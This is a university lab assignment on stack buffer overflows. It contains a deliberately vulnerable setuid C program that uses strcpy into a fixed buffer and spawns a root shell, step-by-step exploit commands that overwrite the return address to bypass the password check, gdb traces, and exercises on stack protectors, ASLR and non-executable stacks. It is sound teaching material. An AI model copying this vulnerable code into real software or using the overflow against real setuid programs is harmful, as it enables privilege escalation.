# Operating Systems Security – Assignment 3

## Version 1.0.0 – 2014/2015

Institute for Computing and Information Sciences,
Radboud University Nijmegen, The Netherlands.

## 1 Manually exploiting an application with a stack overflow

The most common buffer overflow is a stack overflow. In a stack overflow, a fixed size array (buffer) is filled using a function that does not validate the size of the array (such as **strcpy**, **gets**, or **scanf**) allowing malicious input to be written past the space allocated for the buffer. Make sure you completely understand the *Essence of the buffer problem*. See for more information the slides from the Software Security lecture[1].

### Prerequisites

Login to your (Kali) Linux system as a **non**-root user and compile the program **auth.c**:

```c
#include <stdio.h>
#include <string.h>
#include <crypt.h>
#include <stdbool.h>
#include <libgen.h>
#include <stdlib.h>
#include <unistd.h>

void checkpass(char* input) {
    char password[256];
    char *hash1, *hash2;
    bool correct = false;

    strcpy(password,input);
    hash1 = crypt(password,"$6$1122334455667788$");
    hash2 = "$6$1122334455667788$vDzpRFs0Pl/L0M4/WXWsmv5/eTYlh5xoA"
            "lMoPy512JiBLrAZTNzbL.uWv3ZI6XxFUYnFzRIX2kGXF9M133D4h1";

    if (strcmp(hash1,hash2) == 0) {
        correct = true;
    } else {
        printf("ERROR: password incorrect\n");
    }

    if (correct) {
        printf("Starting root shell\n");
        setuid(0);
        setgid(0);
        system("/bin/sh");
    }
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("syntax: %s <password>\n",basename(argv[0]));
        return 1;
    }
    checkpass(argv[1]);
    return 0;
}
```

and change the owner and set the suid bit with the following commands:

```
$ gcc -O0 -Wall -g -o auth auth.c -lcrypt
$ sudo chown root:root auth
$ sudo chmod u+s auth
```

[1] http://www.cs.ru.nl/E.Poll/ss/slides/2_BufferOverflows.pdf

For this exercise it is convenient to configure your **gdb** debugger environment first. Put the following directives in the file **.gdbinit**, which is located in the home directory of your user (**$HOME**). This can be done by executing the following commands:

```
$ echo "set history save" >> $HOME/.gdbinit
$ echo "set confirm off" >> $HOME/.gdbinit
$ echo "set disassemble-next-line on" >> $HOME/.gdbinit
$ echo "set disassembly-flavor intel" >> $HOME/.gdbinit
```

The **gdb** debugger can be used to analyze each executed instruction of the executable and observer what is happening. To do this, there are two useful commands. The first one is *step instruction* (**si**), which executes the instruction and will step into a sub-function which is trigged by a *call* instruction (note, this also includes library functions). The second one *next instruction* (**ni**) executes regular instructions similar to **si**, however, a *call* instruction is executed as if it was one instruction (so it executes the whole sub-function at once).

To start the **gdb** debugger and let it halt on the entry point of the executable we set a breakpoint on the function *main()* and run **r** the program until it hits the breakpoint. Use the following command to start debugging:

```
$ gdb -q auth -ex "b main" -ex "r"
```

```
Reading symbols from /home/google/test3/auth...done.
Breakpoint 1 at 0x400881: file auth.c, line 34.
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Breakpoint 1, main (argc=1, argv=0x7fffffffe438) at auth.c:34
34          if (argc < 2) {
=> 0x0000000000400881 <main+15>:        83 7d fc 01     cmp    DWORD PTR [rbp-0x4],0x1
   0x0000000000400885 <main+19>:        7f 28   jg     0x4008af <main+61>
```

```
(gdb) ni
```

```
0x0000000000400885      34          if (argc < 2) {
   0x0000000000400881 <main+15>:        83 7d fc 01     cmp    DWORD PTR [rbp-0x4],0x1
=> 0x0000000000400885 <main+19>:        7f 28   jg     0x4008af <main+61>
```

```
(gdb) ni
```

```
35              printf("syntax: %s <password>\n",basename(argv[0]));
=> 0x0000000000400887 <main+21>:        48 8b 45 f0     mov    rax,QWORD PTR [rbp-0x10]
   0x000000000040088b <main+25>:        48 8b 00        mov    rax,QWORD PTR [rax]
   0x000000000040088e <main+28>:        48 89 c7        mov    rdi,rax
   0x0000000000400891 <main+31>:        e8 fa fd ff ff  call   0x400690 <__xpg_basename@plt>
   0x0000000000400896 <main+36>:        48 89 c6        mov    rsi,rax
   0x0000000000400899 <main+39>:        bf 39 0a 40 00  mov    edi,0x400a39
   0x000000000040089e <main+44>:        b8 00 00 00 00  mov    eax,0x0
   0x00000000004008a3 <main+49>:        e8 a8 fd ff ff  call   0x400650 <printf@plt>
```

The command examine memory **x** shows the program memory, like the first 64 bytes of the stack.

```
(gdb) x /64bx $rsp
```

```
0x7fffffffe340: 0x38    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe348: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffe350: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe358: 0xad    0x8e    0x83    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffe360: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffe368: 0x38    0xe4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffe370: 0x00    0x00    0x00    0x00    0x01    0x00    0x00    0x00
0x7fffffffe378: 0x72    0x08    0x40    0x00    0x00    0x00    0x00    0x00
```

It also allows you to print variables values, like the pointer **argv[0]** to the executable path string.

```
(gdb) x /s argv[0]
```

```
0x7fffffffe6b3:  "/home/google/test3/auth"
```

Or the total number of arguments, which is stored in **argc**.

```
(gdb) x /gx &argc
```

```
0x7fffffffe34c: 0x0000000000000001
```

Note, that pressing **[Enter]** executes the last command in **gdb** another time.

### Objectives

a) Explain in detail what the program **auth** does, which (internal and external) function calls it triggers and what type of libraries it uses. Explain how the cryptographic operations work and state if you can think of a way to recover the password. Note, that mounting a password recovery attack is **not** part of the assignment.

b) The following statement can be used to generate a large string.
$ `python -c 'print "A"*512'`
Execute **auth** with the output of the previous statement as argument and observe the output.
$ `./auth1 $(python -c 'print "A"*512')`
Load the program in the debugger with the same arguments.
$ `gdb -q auth -ex "b main" -ex "r $(python -c 'print "A"*512')"`
Start debugging and figure out what happens. Explain your analysis in detail and present the list of **gdb** commands you used to analyse the control flow of the executable.

## 2 Know what your compiler is doing

The specified control flow of an executable should not be altered when different compiler options are used. However, there might be differences in the unspecified behaviour. In this exercise we try to understand what can happen happen in a different compiler optimization level is applied.

### Prerequisites

Recompile the program **auth** with two different optimization levels **-O0** and **-O3**. This time we let **gcc** generate verbose and assembly listings with in-lined source code.

```
$ gcc -g -Wa,-adlhn=auth0.s -O0 -o auth0 auth.c -fverbose-asm -masm=intel -lcrypt
$ gcc -g -Wa,-adlhn=auth3.s -O3 -o auth3 auth.c -fverbose-asm -masm=intel -lcrypt
```

Note, that after re-compilation, you have to set the suid bit again.

```
$ sudo chown root:root auth0
$ sudo chmod u+s auth0
$ sudo chown root:root auth3
$ sudo chmod u+s auth3
```

### Objectives

a) Try to exploit *optimized* build (**auth3**) the same way as explained in Section 1 and report the output.

b) Compare the assembly listings **auth0.s** and **auth3.s** and quote the piece of assembly that influences the buffer overflow behaviour. Explain why you think that the compiler changed the control flow.

## 3 Exploit with use of Return Oriented Programming

The basics of Return Oriented Programming (ROP) is already handled in the Software Security lecture[2]. Furthermore, there are many well written tutorials[3][4][5][6][7][8] that demonstrate how to mount a buffer overflow attack by using ROP.

This exercise tries to refresh your memory and let you mount a ROP attack on the program **auth** as presented by Section 1 that was compiled with the optimization level **-O3** as performed in Section 4.

[2] http://www.cs.ru.nl/E.Poll/ss/slides/2_BufferOverflows.pdf
[3] http://insecure.org/stf/smashstack.html
[4] https://crypto.stanford.edu/~blynn/rop/
[5] http://www.scs.stanford.edu/brop/
[6] http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
[7] http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming
[8] http://blog.osom.info/2012/04/return-oriented-programming-rop-exploit.html

#### Prerequisites

Compile the program **auth** with optimization level **-O3**:
$ **gcc -O3 -Wall -g -o auth auth.c -lcrypt**
$ **sudo chown root:root auth**
$ **sudo chmod u+s auth**

#### Objectives

a) View the assembly of the binary file with:
$ **objdump -M intel -S auth** and locate the offset just after the statement

```
if (correct) {
    printf("Starting root shell\n");
```

b) Use the previously recovered offset and put it in the following command by replacing the **######** and execute the command line.
$ **./auth** $**(python -c 'import struct; print "A"*264+struct.pack("<Q",0x######)')**

c) Explain what happened and report the output that **gdb** produced when you executed it in the debugger.

## 4 Protection mechanisms

In this exercise we explore some mitigation techniques that could be used to prevent the previous attacks.

#### Prerequisites

Recompile **auth** with both optimization levels (**-O0** and **-O3**), but this time we add the directive **-fstack-protector-all**.
$ **gcc -fstack-protector-all -O0 -Wall -g -o auth0 auth.c -lcrypt**
$ **gcc -fstack-protector-all -O3 -Wall -g -o auth3 auth.c -lcrypt**

#### Objectives

a) Try to mount any of the previous attacks on both examples (with **-fstack-protector-all**) and write down which combination work and which don't. For each trial that failed, investigate with the assembly listing of the **gdb** debugger why it did not work and explain which steps you took to verify this.

b) Figure out if Address Space Layout Randomization (ASLR) is enabled on your (Kali) Linux machine and explain why it can/cannot help to mitigate the stack problem[9].

c) Does compilation with compiler flag **-fpie** protect against this attack?

d) Generate a memory map from the previously compiled binaries with the following command.
$ **objdump -p auth**
Locate the **STACK** segment and verify if it is executable or not. Explain why this will help/not help against the previously mounted attacks.

[9] http://en.wikipedia.org/wiki/Address_space_layout_randomization